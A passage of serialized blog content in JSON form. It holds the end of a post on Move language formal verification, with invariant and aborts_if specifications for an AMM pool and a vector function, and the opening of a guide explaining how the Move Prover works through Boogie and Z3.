",{"type":22,"tag":1699,"props":9544,"children":9545},{},[9546],{"type":27,"value":9547},"lot",{"type":27,"value":9549}," easier to reason about the protocol.",{"type":22,"tag":23,"props":9551,"children":9552},{},[9553],{"type":27,"value":9554},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":22,"tag":618,"props":9556,"children":9558},{"className":4274,"code":9557,"language":4273,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[9559],{"type":22,"tag":257,"props":9560,"children":9561},{"__ignoreMap":7},[9562,9579,9602],{"type":22,"tag":264,"props":9563,"children":9564},{"class":1534,"line":1535},[9565,9570,9575],{"type":22,"tag":264,"props":9566,"children":9567},{"style":1549},[9568],{"type":27,"value":9569},"spec",{"type":22,"tag":264,"props":9571,"children":9572},{"style":4722},[9573],{"type":27,"value":9574}," PoolState",{"type":22,"tag":264,"props":9576,"children":9577},{"style":1539},[9578],{"type":27,"value":4594},{"type":22,"tag":264,"props":9580,"children":9581},{"class":1534,"line":1545},[9582,9587,9592,9597],{"type":22,"tag":264,"props":9583,"children":9584},{"style":1549},[9585],{"type":27,"value":9586},"    invariant",{"type":22,"tag":264,"props":9588,"children":9589},{"style":1549},[9590],{"type":27,"value":9591}," supply",{"type":22,"tag":264,"props":9593,"children":9594},{"style":4309},[9595],{"type":27,"value":9596}," >=",{"type":22,"tag":264,"props":9598,"children":9599},{"style":1539},[9600],{"type":27,"value":9601}," MINIMUM_LIQUIDITY;\n",{"type":22,"tag":264,"props":9603,"children":9604},{"class":1534,"line":1560},[9605],{"type":22,"tag":264,"props":9606,"children":9607},{"style":1539},[9608],{"type":27,"value":1692},{"type":22,"tag":23,"props":9610,"children":9611},{},[9612,9614,9620,9622,9628],{"type":27,"value":9613},"Another useful pattern for the Move prover is ",{"type":22,"tag":257,"props":9615,"children":9617},{"className":9616},[],[9618],{"type":27,"value":9619},"aborts_if",{"type":27,"value":9621},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":22,"tag":257,"props":9623,"children":9625},{"className":9624},[],[9626],{"type":27,"value":9627},"aborts_if false",{"type":27,"value":210},{"type":22,"tag":23,"props":9630,"children":9631},{},[9632],{"type":27,"value":9633},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":22,"tag":618,"props":9635,"children":9637},{"className":4274,"code":9636,"language":4273,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[9638],{"type":22,"tag":257,"props":9639,"children":9640},{"__ignoreMap":7},[9641,9705,9747,9770,9815,9828,9840,9879,9902,9990,9998,10023,10031,10052,10072,10172,10180,10209,10217,10229,10253,10288,10295,10303,10310,10325,10341,10359,10404,10510],{"type":22,"tag":264,"props":9642,"children":9643},{"class":1534,"line":1535},[9644,9648,9653,9657,9662,9666,9671,9675,9679,9684,9688,9692,9696,9701],{"type":22,"tag":264,"props":9645,"children":9646},{"style":1549},[9647],{"type":27,"value":7862},{"type":22,"tag":264,"props":9649,"children":9650},{"style":4401},[9651],{"type":27,"value":9652}," multiply_vec_by_n_coins",{"type":22,"tag":264,"props":9654,"children":9655},{"style":1539},[9656],{"type":27,"value":2660},{"type":22,"tag":264,"props":9658,"children":9659},{"style":1549},[9660],{"type":27,"value":9661},"input",{"type":22,"tag":264,"props":9663,"children":9664},{"style":4309},[9665],{"type":27,"value":5785},{"type":22,"tag":264,"props":9667,"children":9668},{"style":1549},[9669],{"type":27,"value":9670}," vector",{"type":22,"tag":264,"props":9672,"children":9673},{"style":1539},[9674],{"type":27,"value":7097},{"type":22,"tag":264,"props":9676,"children":9677},{"style":4722},[9678],{"type":27,"value":9336},{"type":22,"tag":264,"props":9680,"children":9681},{"style":1539},[9682],{"type":27,"value":9683},">)",{"type":22,"tag":264,"props":9685,"children":9686},{"style":4309},[9687],{"type":27,"value":5785},{"type":22,"tag":264,"props":9689,"children":9690},{"style":1549},[9691],{"type":27,"value":9670},{"type":22,"tag":264,"props":9693,"children":9694},{"style":1539},[9695],{"type":27,"value":7097},{"type":22,"tag":264,"props":9697,"children":9698},{"style":4722},[9699],{"type":27,"value":9700},"u128",{"type":22,"tag":264,"props":9702,"children":9703},{"style":1539},[9704],{"type":27,"value":8574},{"type":22,"tag":264,"props":9706,"children":9707},{"class":1534,"line":1545},[9708,9712,9717,9721,9725,9729,9734,9738,9742],{"type":22,"tag":264,"props":9709,"children":9710},{"style":4293},[9711],{"type":27,"value":9369},{"type":22,"tag":264,"props":9713,"children":9714},{"style":1549},[9715],{"type":27,"value":9716}," amounts_times_coins",{"type":22,"tag":264,"props":9718,"children":9719},{"style":4309},[9720],{"type":27,"value":4312},{"type":22,"tag":264,"props":9722,"children":9723},{"style":1539},[9724],{"type":27,"value":9670},{"type":22,"tag":264,"props":9726,"children":9727},{"style":4309},[9728],{"type":27,"value":4785},{"type":22,"tag":264,"props":9730,"children":9731},{"style":1549},[9732],{"type":27,"value":9733},"empty",{"type":22,"tag":264,"props":9735,"children":9736},{"style":1539},[9737],{"type":27,"value":7097},{"type":22,"tag":264,"props":9739,"children":9740},{"style":4722},[9741],{"type":27,"value":9700},{"type":22,"tag":264,"props":9743,"children":9744},{"style":1539},[9745],{"type":27,"value":9746},">();\n",{"type":22,"tag":264,"props":9748,"children":9749},{"class":1534,"line":1560},[9750,9754,9758,9762,9766],{"type":22,"tag":264,"props":9751,"children":9752},{"style":4293},[9753],{"type":27,"value":9369},{"type":22,"tag":264,"props":9755,"children":9756},{"style":1549},[9757],{"type":27,"value":4701},{"type":22,"tag":264,"props":9759,"children":9760},{"style":4309},[9761],{"type":27,"value":4312},{"type":22,"tag":264,"props":9763,"children":9764},{"style":4344},[9765],{"type":27,"value":4347},{"type":22,"tag":264,"props":9767,"children":9768},{"style":1539},[9769],{"type":27,"value":4322},{"type":22,"tag":264,"props":9771,"children":9772},{"class":1534,"line":1569},[9773,9777,9782,9786,9790,9794,9799,9803,9807,9811],{"type":22,"tag":264,"props":9774,"children":9775},{"style":4293},[9776],{"type":27,"value":9369},{"type":22,"tag":264,"props":9778,"children":9779},{"style":1549},[9780],{"type":27,"value":9781}," n_coins",{"type":22,"tag":264,"props":9783,"children":9784},{"style":4309},[9785],{"type":27,"value":4312},{"type":22,"tag":264,"props":9787,"children":9788},{"style":1539},[9789],{"type":27,"value":9670},{"type":22,"tag":264,"props":9791,"children":9792},{"style":4309},[9793],{"type":27,"value":4785},{"type":22,"tag":264,"props":9795,"children":9796},{"style":4401},[9797],{"type":27,"value":9798},"length",{"type":22,"tag":264,"props":9800,"children":9801},{"style":1539},[9802],{"type":27,"value":2660},{"type":22,"tag":264,"props":9804,"children":9805},{"style":4309},[9806],{"type":27,"value":4413},{"type":22,"tag":264,"props":9808,"children":9809},{"style":1549},[9810],{"type":27,"value":9661},{"type":22,"tag":264,"props":9812,"children":9813},{"style":1539},[9814],{"type":27,"value":5142},{"type":22,"tag":264,"props":9816,"children":9817},{"class":1534,"line":1583},[9818,9823],{"type":22,"tag":264,"props":9819,"children":9820},{"style":4328},[9821],{"type":27,"value":9822},"      while",{"type":22,"tag":264,"props":9824,"children":9825},{"style":1539},[9826],{"type":27,"value":9827}," ({\n",{"type":22,"tag":264,"props":9829,"children":9830},{"class":1534,"line":1603},[9831,9836],{"type":22,"tag":264,"props":9832,"children":9833},{"style":1549},[9834],{"type":27,"value":9835},"          spec",{"type":22,"tag":264,"props":9837,"children":9838},{"style":1539},[9839],{"type":27,"value":4594},{"type":22,"tag":264,"props":9841,"children":9842},{"class":1534,"line":1612},[9843,9848,9853,9857,9862,9866,9871,9875],{"type":22,"tag":264,"props":9844,"children":9845},{"style":1549},[9846],{"type":27,"value":9847},"              invariant",{"type":22,"tag":264,"props":9849,"children":9850},{"style":4401},[9851],{"type":27,"value":9852}," len",{"type":22,"tag":264,"props":9854,"children":9855},{"style":1539},[9856],{"type":27,"value":2660},{"type":22,"tag":264,"props":9858,"children":9859},{"style":1549},[9860],{"type":27,"value":9861},"amounts_times_coins",{"type":22,"tag":264,"props":9863,"children":9864},{"style":1539},[9865],{"type":27,"value":4390},{"type":22,"tag":264,"props":9867,"children":9868},{"style":4309},[9869],{"type":27,"value":9870},"==",{"type":22,"tag":264,"props":9872,"children":9873},{"style":1549},[9874],{"type":27,"value":4701},{"type":22,"tag":264,"props":9876,"children":9877},{"style":1539},[9878],{"type":27,"value":4322},{"type":22,"tag":264,"props":9880,"children":9881},{"class":1534,"line":1621},[9882,9886,9890,9894,9898],{"type":22,"tag":264,"props":9883,"children":9884},{"style":1549},[9885],{"type":27,"value":9847},{"type":22,"tag":264,"props":9887,"children":9888},{"style":1549},[9889],{"type":27,"value":4701},{"type":22,"tag":264,"props":9891,"children":9892},{"style":4309},[9893],{"type":27,"value":9491},{"type":22,"tag":264,"props":9895,"children":9896},{"style":1549},[9897],{"type":27,"value":9781},{"type":22,"tag":264,"props":9899,"children":9900},{"style":1539},[9901],{"type":27,"value":4322},{"type":22,"tag":264,"props":9903,"children":9904},{"class":1534,"line":1629},[9905,9909,9914,9919,9923,9927,9931,9935,9939,9943,9947,9952,9957,9961,9966,9970,9974,9978,9982,9986],{"type":22,"tag":264,"props":9906,"children":9907},{"style":1549},[9908],{"type":27,"value":9847},{"type":22,"tag":264,"props":9910,"children":9911},{"style":1549},[9912],{"type":27,"value":9913}," forall",{"type":22,"tag":264,"props":9915,"children":9916},{"style":1549},[9917],{"type":27,"value":9918}," j",{"type":22,"tag":264,"props":9920,"children":9921},{"style":4293},[9922],{"type":27,"value":4341},{"type":22,"tag":264,"props":9924,"children":9925},{"style":4344},[9926],{"type":27,"value":4347},{"type":22,"tag":264,"props":9928,"children":9929},{"style":4309},[9930],{"type":27,"value":4352},{"type":22,"tag":264,"props":9932,"children":9933},{"style":1549},[9934],{"type":27,"value":5050},{"type":22,"tag":264,"props":9936,"children":9937},{"style":4309},[9938],{"type":27,"value":5785},{"type":22,"tag":264,"props":9940,"children":9941},{"style":1549},[9942],{"type":27,"value":9716},{"type":22,"tag":264,"props":9944,"children":9945},{"style":1539},[9946],{"type":27,"value":5045},{"type":22,"tag":264,"props":9948,"children":9949},{"style":1549},[9950],{"type":27,"value":9951},"j",{"type":22,"tag":264,"props":9953,"children":9954},{"style":1539},[9955],{"type":27,"value":9956},"] ",{"type":22,"tag":264,"props":9958,"children":9959},{"style":4309},[9960],{"type":27,"value":9870},{"type":22,"tag":264,"props":9962,"children":9963},{"style":1549},[9964],{"type":27,"value":9965}," input",{"type":22,"tag":264,"props":9967,"children":9968},{"style":1539},[9969],{"type":27,"value":5045},{"type":22,"tag":264,"props":9971,"children":9972},{"style":1549},[9973],{"type":27,"value":9951},{"type":22,"tag":264,"props":9975,"children":9976},{"style":1539},[9977],{"type":27,"value":9956},{"type":22,"tag":264,"props":9979,"children":9980},{"style":4309},[9981],{"type":27,"value":5865},{"type":22,"tag":264,"props":9983,"children":9984},{"style":1549},[9985],{"type":27,"value":9781},{"type":22,"tag":264,"props":9987,"children":9988},{"style":1539},[9989],{"type":27,"value":4322},{"type":22,"tag":264,"props":9991,"children":9992},{"class":1534,"line":1642},[9993],{"type":22,"tag":264,"props":9994,"children":9995},{"style":1539},[9996],{"type":27,"value":9997},"          };\n",{"type":22,"tag":264,"props":9999,"children":10000},{"class":1534,"line":1660},[10001,10006,10010,10015,10019],{"type":22,"tag":264,"props":10002,"children":10003},{"style":1539},[10004],{"type":27,"value":10005},"          (",{"type":22,"tag":264,"props":10007,"children":10008},{"style":1549},[10009],{"type":27,"value":5050},{"type":22,"tag":264,"props":10011,"children":10012},{"style":4309},[10013],{"type":27,"value":10014}," \u003C",{"type":22,"tag":264,"props":10016,"children":10017},{"style":1549},[10018],{"type":27,"value":9781},{"type":22,"tag":264,"props":10020,"children":10021},{"style":1539},[10022],{"type":27,"value":4463},{"type":22,"tag":264,"props":10024,"children":10025},{"class":1534,"line":1668},[10026],{"type":22,"tag":264,"props":10027,"children":10028},{"style":1539},[10029],{"type":27,"value":10030},"      }) {\n",{"type":22,"tag":264,"props":10032,"children":10033},{"class":1534,"line":1677},[10034,10039,10043,10048],{"type":22,"tag":264,"props":10035,"children":10036},{"style":1539},[10037],{"type":27,"value":10038},"          vector",{"type":22,"tag":264,"props":10040,"children":10041},{"style":4309},[10042],{"type":27,"value":4785},{"type":22,"tag":264,"props":10044,"children":10045},{"style":4401},[10046],{"type":27,"value":10047},"push_back",{"type":22,"tag":264,"props":10049,"children":10050},{"style":1539},[10051],{"type":27,"value":4767},{"type":22,"tag":264,"props":10053,"children":10054},{"class":1534,"line":1686},[10055,10060,10064,10068],{"type":22,"tag":264,"props":10056,"children":10057},{"style":4309},[10058],{"type":27,"value":10059},"              &",{"type":22,"tag":264,"props":10061,"children":10062},{"style":4293},[10063],{"type":27,"value":5035},{"type":22,"tag":264,"props":10065,"children":10066},{"style":1549},[10067],{"type":27,"value":9716},{"type":22,"tag":264,"props":10069,"children":10070},{"style":1539},[10071],{"type":27,"value":4812},{"type":22,"tag":264,"props":10073,"children":10074},{"class":1534,"line":4948},[10075,10080,10084,10089,10093,10098,10102,10106,10110,10115,10119,10124,10128,10133,10138,10143,10147,10151,10155,10160,10164,10168],{"type":22,"tag":264,"props":10076,"children":10077},{"style":1539},[10078],{"type":27,"value":10079},"              (",{"type":22,"tag":264,"props":10081,"children":10082},{"style":4309},[10083],{"type":27,"value":5865},{"type":22,"tag":264,"props":10085,"children":10086},{"style":1539},[10087],{"type":27,"value":10088},"vector",{"type":22,"tag":264,"props":10090,"children":10091},{"style":4309},[10092],{"type":27,"value":4785},{"type":22,"tag":264,"props":10094,"children":10095},{"style":4401},[10096],{"type":27,"value":10097},"borrow",{"type":22,"tag":264,"props":10099,"children":10100},{"style":1539},[10101],{"type":27,"value":2660},{"type":22,"tag":264,"props":10103,"children":10104},{"style":4309},[10105],{"type":27,"value":4413},{"type":22,"tag":264,"props":10107,"children":10108},{"style":1549},[10109],{"type":27,"value":9661},{"type":22,"tag":264,"props":10111,"children":10112},{"style":1539},[10113],{"type":27,"value":10114},", (",{"type":22,"tag":264,"props":10116,"children":10117},{"style":1549},[10118],{"type":27,"value":5050},{"type":22,"tag":264,"props":10120,"children":10121},{"style":4293},[10122],{"type":27,"value":10123}," as",{"type":22,"tag":264,"props":10125,"children":10126},{"style":4722},[10127],{"type":27,"value":7151},{"type":22,"tag":264,"props":10129,"children":10130},{"style":1539},[10131],{"type":27,"value":10132},")) ",{"type":22,"tag":264,"props":10134,"children":10135},{"style":4293},[10136],{"type":27,"value":10137},"as",{"type":22,"tag":264,"props":10139,"children":10140},{"style":4722},[10141],{"type":27,"value":10142}," u128",{"type":22,"tag":264,"props":10144,"children":10145},{"style":1539},[10146],{"type":27,"value":4390},{"type":22,"tag":264,"props":10148,"children":10149},{"style":4309},[10150],{"type":27,"value":5865},{"type":22,"tag":264,"props":10152,"children":10153},{"style":1539},[10154],{"type":27,"value":4370},{"type":22,"tag":264,"props":10156,"children":10157},{"style":1549},[10158],{"type":27,"value":10159},"n_coins",{"type":22,"tag":264,"props":10161,"children":10162},{"style":4293},[10163],{"type":27,"value":10123},{"type":22,"tag":264,"props":10165,"children":10166},{"style":4722},[10167],{"type":27,"value":10142},{"type":22,"tag":264,"props":10169,"children":10170},{"style":1539},[10171],{"type":27,"value":4463},{"type":22,"tag":264,"props":10173,"children":10174},{"class":1534,"line":4957},[10175],{"type":22,"tag":264,"props":10176,"children":10177},{"style":1539},[10178],{"type":27,"value":10179},"          );\n",{"type":22,"tag":264,"props":10181,"children":10182},{"class":1534,"line":4980},[10183,10188,10192,10196,10201,10205],{"type":22,"tag":264,"props":10184,"children":10185},{"style":1549},[10186],{"type":27,"value":10187},"          i",{"type":22,"tag":264,"props":10189,"children":10190},{"style":4309},[10191],{"type":27,"value":4312},{"type":22,"tag":264,"props":10193,"children":10194},{"style":1549},[10195],{"type":27,"value":4701},{"type":22,"tag":264,"props":10197,"children":10198},{"style":4309},[10199],{"type":27,"value":10200}," +",{"type":22,"tag":264,"props":10202,"children":10203},{"style":4344},[10204],{"type":27,"value":5817},{"type":22,"tag":264,"props":10206,"children":10207},{"style":1539},[10208],{"type":27,"value":4322},{"type":22,"tag":264,"props":10210,"children":10211},{"class":1534,"line":4989},[10212],{"type":22,"tag":264,"props":10213,"children":10214},{"style":1539},[10215],{"type":27,"value":10216},"      };\n",{"type":22,"tag":264,"props":10218,"children":10219},{"class":1534,"line":4998},[10220,10225],{"type":22,"tag":264,"props":10221,"children":10222},{"style":1549},[10223],{"type":27,"value":10224},"      spec",{"type":22,"tag":264,"props":10226,"children":10227},{"style":1539},[10228],{"type":27,"value":4594},{"type":22,"tag":264,"props":10230,"children":10231},{"class":1534,"line":5067},[10232,10237,10241,10245,10249],{"type":22,"tag":264,"props":10233,"children":10234},{"style":1549},[10235],{"type":27,"value":10236},"          assert",{"type":22,"tag":264,"props":10238,"children":10239},{"style":1549},[10240],{"type":27,"value":4701},{"type":22,"tag":264,"props":10242,"children":10243},{"style":4309},[10244],{"type":27,"value":4585},{"type":22,"tag":264,"props":10246,"children":10247},{"style":1549},[10248],{"type":27,"value":9781},{"type":22,"tag":264,"props":10250,"children":10251},{"style":1539},[10252],{"type":27,"value":4322},{"type":22,"tag":264,"props":10254,"children":10255},{"class":1534,"line":5075},[10256,10260,10264,10268,10272,10276,10280,10284],{"type":22,"tag":264,"props":10257,"children":10258},{"style":1549},[10259],{"type":27,"value":10236},{"type":22,"tag":264,"props":10261,"children":10262},{"style":4401},[10263],{"type":27,"value":9852},{"type":22,"tag":264,"props":10265,"children":10266},{"style":1539},[10267],{"type":27,"value":2660},{"type":22,"tag":264,"props":10269,"children":10270},{"style":1549},[10271],{"type":27,"value":9661},{"type":22,"tag":264,"props":10273,"children":10274},{"style":1539},[10275],{"type":27,"value":4390},{"type":22,"tag":264,"props":10277,"children":10278},{"style":4309},[10279],{"type":27,"value":9870},{"type":22,"tag":264,"props":10281,"children":10282},{"style":1549},[10283],{"type":27,"value":9781},{"type":22,"tag":264,"props":10285,"children":10286},{"style":1539},[10287],{"type":27,"value":4322},{"type":22,"tag":264,"props":10289,"children":10290},{"class":1534,"line":5105},[10291],{"type":22,"tag":264,"props":10292,"children":10293},{"style":1539},[10294],{"type":27,"value":10216},{"type":22,"tag":264,"props":10296,"children":10297},{"class":1534,"line":5113},[10298],{"type":22,"tag":264,"props":10299,"children":10300},{"style":1549},[10301],{"type":27,"value":10302},"      amounts_times_coins\n",{"type":22,"tag":264,"props":10304,"children":10305},{"class":1534,"line":5145},[10306],{"type":22,"tag":264,"props":10307,"children":10308},{"style":1539},[10309],{"type":27,"value":7163},{"type":22,"tag":264,"props":10311,"children":10312},{"class":1534,"line":5153},[10313,10317,10321],{"type":22,"tag":264,"props":10314,"children":10315},{"style":1549},[10316],{"type":27,"value":9439},{"type":22,"tag":264,"props":10318,"children":10319},{"style":1549},[10320],{"type":27,"value":9652},{"type":22,"tag":264,"props":10322,"children":10323},{"style":1539},[10324],{"type":27,"value":4594},{"type":22,"tag":264,"props":10326,"children":10327},{"class":1534,"line":5213},[10328,10332,10337],{"type":22,"tag":264,"props":10329,"children":10330},{"style":1549},[10331],{"type":27,"value":9455},{"type":22,"tag":264,"props":10333,"children":10334},{"style":1549},[10335],{"type":27,"value":10336}," opaque",{"type":22,"tag":264,"props":10338,"children":10339},{"style":1539},[10340],{"type":27,"value":4322},{"type":22,"tag":264,"props":10342,"children":10344},{"class":1534,"line":10343},27,[10345,10350,10355],{"type":22,"tag":264,"props":10346,"children":10347},{"style":1549},[10348],{"type":27,"value":10349},"      aborts_if",{"type":22,"tag":264,"props":10351,"children":10352},{"style":4293},[10353],{"type":27,"value":10354}," false",{"type":22,"tag":264,"props":10356,"children":10357},{"style":1539},[10358],{"type":27,"value":4322},{"type":22,"tag":264,"props":10360,"children":10362},{"class":1534,"line":10361},28,[10363,10367,10371,10375,10380,10384,10388,10392,10396,10400],{"type":22,"tag":264,"props":10364,"children":10365},{"style":1549},[10366],{"type":27,"value":9481},{"type":22,"tag":264,"props":10368,"children":10369},{"style":4401},[10370],{"type":27,"value":9852},{"type":22,"tag":264,"props":10372,"children":10373},{"style":1539},[10374],{"type":27,"value":2660},{"type":22,"tag":264,"props":10376,"children":10377},{"style":1549},[10378],{"type":27,"value":10379},"result",{"type":22,"tag":264,"props":10381,"children":10382},{"style":1539},[10383],{"type":27,"value":4390},{"type":22,"tag":264,"props":10385,"children":10386},{"style":4309},[10387],{"type":27,"value":9870},{"type":22,"tag":264,"props":10389,"children":10390},{"style":4401},[10391],{"type":27,"value":9852},{"type":22,"tag":264,"props":10393,"children":10394},{"style":1539},[10395],{"type":27,"value":2660},{"type":22,"tag":264,"props":10397,"children":10398},{"style":1549},[10399],{"type":27,"value":9661},{"type":22,"tag":264,"props":10401,"children":10402},{"style":1539},[10403],{"type":27,"value":5142},{"type":22,"tag":264,"props":10405,"children":10407},{"class":1534,"line":10406},29,[10408,10412,10416,10420,10424,10428,10432,10437,10441,10445,10449,10453,10458,10462,10466,10470,10474,10478,10482,10486,10490,10494,10498,10502,10506],{"type":22,"tag":264,"props":10409,"children":10410},{"style":1549},[10411],{"type":27,"value":9481},{"type":22,"tag":264,"props":10413,"children":10414},{"style":1549},[10415],{"type":27,"value":9913},{"type":22,"tag":264,"props":10417,"children":10418},{"style":1549},[10419],{"type":27,"value":9918},{"type":22,"tag":264,"props":10421,"children":10422},{"style":4293},[10423],{"type":27,"value":4341},{"type":22,"tag":264,"props":10425,"children":10426},{"style":4344},[10427],{"type":27,"value":4347},{"type":22,"tag":264,"props":10429,"children":10430},{"style":4309},[10431],{"type":27,"value":4352},{"type":22,"tag":264,"props":10433,"children":10434},{"style":4401},[10435],{"type":27,"value":10436},"len",{"type":22,"tag":264,"props":10438,"children":10439},{"style":1539},[10440],{"type":27,"value":2660},{"type":22,"tag":264,"props":10442,"children":10443},{"style":1549},[10444],{"type":27,"value":9661},{"type":22,"tag":264,"props":10446,"children":10447},{"style":1539},[10448],{"type":27,"value":2806},{"type":22,"tag":264,"props":10450,"children":10451},{"style":4309},[10452],{"type":27,"value":5785},{"type":22,"tag":264,"props":10454,"children":10455},{"style":1549},[10456],{"type":27,"value":10457}," result",{"type":22,"tag":264,"props":10459,"children":10460},{"style":1539},[10461],{"type":27,"value":5045},{"type":22,"tag":264,"props":10463,"children":10464},{"style":1549},[10465],{"type":27,"value":9951},{"type":22,"tag":264,"props":10467,"children":10468},{"style":1539},[10469],{"type":27,"value":9956},{"type":22,"tag":264,"props":10471,"children":10472},{"style":4309},[10473],{"type":27,"value":9870},{"type":22,"tag":264,"props":10475,"children":10476},{"style":1549},[10477],{"type":27,"value":9965},{"type":22,"tag":264,"props":10479,"children":10480},{"style":1539},[10481],{"type":27,"value":5045},{"type":22,"tag":264,"props":10483,"children":10484},{"style":1549},[10485],{"type":27,"value":9951},{"type":22,"tag":264,"props":10487,"children":10488},{"style":1539},[10489],{"type":27,"value":9956},{"type":22,"tag":264,"props":10491,"children":10492},{"style":4309},[10493],{"type":27,"value":5865},{"type":22,"tag":264,"props":10495,"children":10496},{"style":4401},[10497],{"type":27,"value":9852},{"type":22,"tag":264,"props":10499,"children":10500},{"style":1539},[10501],{"type":27,"value":2660},{"type":22,"tag":264,"props":10503,"children":10504},{"style":1549},[10505],{"type":27,"value":9661},{"type":22,"tag":264,"props":10507,"children":10508},{"style":1539},[10509],{"type":27,"value":5142},{"type":22,"tag":264,"props":10511,"children":10513},{"class":1534,"line":10512},30,[10514],{"type":22,"tag":264,"props":10515,"children":10516},{"style":1539},[10517],{"type":27,"value":7163},{"type":22,"tag":169,"props":10519,"children":10520},{"id":3966},[10521],{"type":27,"value":3969},{"type":22,"tag":23,"props":10523,"children":10524},{},[10525],{"type":27,"value":10526},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":22,"tag":23,"props":10528,"children":10529},{},[10530],{"type":27,"value":10531},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":22,"tag":23,"props":10533,"children":10534},{},[10535,10537,10544],{"type":27,"value":10536},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":22,"tag":69,"props":10538,"children":10541},{"href":10539,"rel":10540},"https://twitter.com/notdeghost/",[73],[10542],{"type":27,"value":10543},"@notdeghost",{"type":27,"value":210},{"type":22,"tag":4139,"props":10546,"children":10547},{},[10548],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":10550},[10551,10552,10553],{"id":7049,"depth":1545,"text":7052},{"id":9090,"depth":1545,"text":9093},{"id":3966,"depth":1545,"text":3969},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":10558,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":10559,"description":10560,"author":7010,"image":10561,"date":10564,"isFeatured":17,"tags":10565,"onBlogPage":17,"body":10568,"_type":4157,"_id":14911,"_source":4159,"_file":14912,"_stem":14913,"_extension":4162},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":10562,"height":10563,"width":7014},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[10566,10567],"move","tutorial",{"type":19,"children":10569,"toc":14897},[10570,10589,10601,10607,10612,10617,10622,10631,10636,10650,10655,10661,10666,10680,10685,10822,10835,10840,10861,10895,10906,10911,10916,10926,10939,11282,11296,11314,11359,11372,11391,11563,11568,11573,11597,11602,12203,12215,12227,12232,12246,12251,12264,12305,12310,12342,12347,12352,12365,12750,12777,12984,12989,13001,13238,13243,13251,13270,13618,13623,13780,13785,13792,13806,13812,13817,13822,13828,13841,14072,14078,14083,14103,14372,14377,14383,14395,14400,14414,14420,14456,14556,14577,14583,14588,14593,14845,14850,14868,14872,14877,14882,14893],{"type":22,"tag":23,"props":10571,"children":10572},{},[10573,10575,10580,10582,10587],{"type":27,"value":10574},"Formal verification -- a powerful tool for ",{"type":22,"tag":1699,"props":10576,"children":10577},{},[10578],{"type":27,"value":10579},"proving",{"type":27,"value":10581}," the correctness of your programs. How does it ",{"type":22,"tag":1699,"props":10583,"children":10584},{},[10585],{"type":27,"value":10586},"actually",{"type":27,"value":10588}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":22,"tag":23,"props":10590,"children":10591},{},[10592,10594,10599],{"type":27,"value":10593},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":22,"tag":1699,"props":10595,"children":10596},{},[10597],{"type":27,"value":10598},"all",{"type":27,"value":10600}," possible inputs.",{"type":22,"tag":169,"props":10602,"children":10604},{"id":10603},"move-prover",[10605],{"type":27,"value":10606},"Move Prover",{"type":22,"tag":23,"props":10608,"children":10609},{},[10610],{"type":27,"value":10611},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":22,"tag":23,"props":10613,"children":10614},{},[10615],{"type":27,"value":10616},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":22,"tag":23,"props":10618,"children":10619},{},[10620],{"type":27,"value":10621},"The architecture of the tool consists of multiple components as illustrated below.",{"type":22,"tag":23,"props":10623,"children":10624},{},[10625],{"type":22,"tag":215,"props":10626,"children":10630},{"alt":10627,"src":10628,"title":10629},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":22,"tag":23,"props":10632,"children":10633},{},[10634],{"type":27,"value":10635},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":22,"tag":23,"props":10637,"children":10638},{},[10639,10641,10648],{"type":27,"value":10640},"The model is translated into an intermediate language, called ",{"type":22,"tag":69,"props":10642,"children":10645},{"href":10643,"rel":10644},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[73],[10646],{"type":27,"value":10647},"Boogie",{"type":27,"value":10649},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":22,"tag":23,"props":10651,"children":10652},{},[10653],{"type":27,"value":10654},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":22,"tag":169,"props":10656,"children":10658},{"id":10657},"move-specification-language",[10659],{"type":27,"value":10660},"Move Specification 